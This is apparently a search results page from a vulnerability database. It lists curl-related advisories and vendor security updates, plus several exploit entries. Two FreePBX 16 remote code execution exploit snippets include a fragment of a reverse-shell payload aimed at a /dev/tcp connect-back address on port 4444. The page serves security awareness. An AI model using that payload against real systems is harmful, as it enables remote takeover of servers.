10735 matches found
curl: Incorrect Encoding Conversion in hostname results in indeterminate SSRF vulnerabilities
Vulnerability description not provided...
curl: Unicode-to-ASCII conversion on Windows can lead to argument injection and more
Vulnerability description not provided...
SUSE-SU-2024:2009-1 Security update for curl
This update for curl fixes the following issues: - CVE-2023-27534: Properly resolve when used in a SFTP path. bsc1219273...
Exploit for OS Command Injection in Php
CVE-2024-4577 Vulnerability Checker This script is designed t...
GHSA-W235-7P84-XX57 Tornado has a CRLF injection in CurlAsyncHTTPClient headers
Summary Tornado’s curlhttpclient.CurlAsyncHTTPClient class is vulnerable to CRLF carriage return/line feed injection in the request headers. Details When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return \r or line feed \n characters in the request headers...
Moderate Photon OS Security Update - PHSA-2024-4.0-0623
Updates of 'curl' packages of Photon OS have been released...
The vulnerability of the Schuhfried psychological testing and training system, related to the use of strictly encrypted user data, allows the intruder to access protected information.
The vulnerability of the Schuhfried psychological testing and training system lies in the use of strictly encrypted user data. Exploiting this vulnerability could allow an attacker, operating remotely, to gain access to protected information using a specially created curl command...
RHEL 4 : curl (Unpatched Vulnerability)
The remote Redhat Enterprise Linux 4 host has one or more packages installed that are affected by a vulnerability that has been acknowledged by the vendor but will not be patched. - curl: URL request injection vulnerability in parseurlandfillconn CVE-2014-8150 Note that Nessus has not tested for...
FreePBX 16 Remote Code Execution
Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Date: 6/1/2024 Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; ec...
RHEL 5 : curl (Unpatched Vulnerability)
The remote Redhat Enterprise Linux 5 host has one or more packages installed that are affected by multiple vulnerabilities that have been acknowledged by the vendor but will not be patched. - curl: NTLM password overflow via integer overflow CVE-2018-14618 - cURL and libcurl 7.10.6 through 7.34.0...
RHEL 7 : curl (Unpatched Vulnerability)
The remote Redhat Enterprise Linux 7 host has one or more packages installed that are affected by multiple vulnerabilities that have been acknowledged by the vendor but will not be patched. - curl: FTP wildcard out of bounds read CVE-2017-8817 - CRLF injection vulnerability in libcurl 6.0 through...
RHEL 6 : curl (Unpatched Vulnerability)
The remote Redhat Enterprise Linux 6 host has one or more packages installed that are affected by multiple vulnerabilities that have been acknowledged by the vendor but will not be patched. - curl: NTLM password overflow via integer overflow CVE-2018-14618 - The default configuration for cURL and...
FreePBX 16 - Remote Code Execution (Authenticated) Exploit
Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; echo $response =...
Huawei EulerOS: Security Advisory for curl (EulerOS-SA-2024-1760)
The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Huawei EulerOS: Security Advisory for curl (EulerOS-SA-2024-1737)
The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
EulerOS 2.0 SP12 : curl (EulerOS-SA-2024-1737)
According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : When saving HSTS data to an excessively long file name, curl could end up removing all contents, making subsequent requests using that file unaware ...
EulerOS 2.0 SP12 : curl (EulerOS-SA-2024-1760)
According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : When saving HSTS data to an excessively long file name, curl could end up removing all contents, making subsequent requests using that file unaware ...
CLSA-2024-1716883173 curl: Fix of CVE-2023-46218
CVE-2023-46218: fix cookie validation to prevent passing cookies to unrelated sites...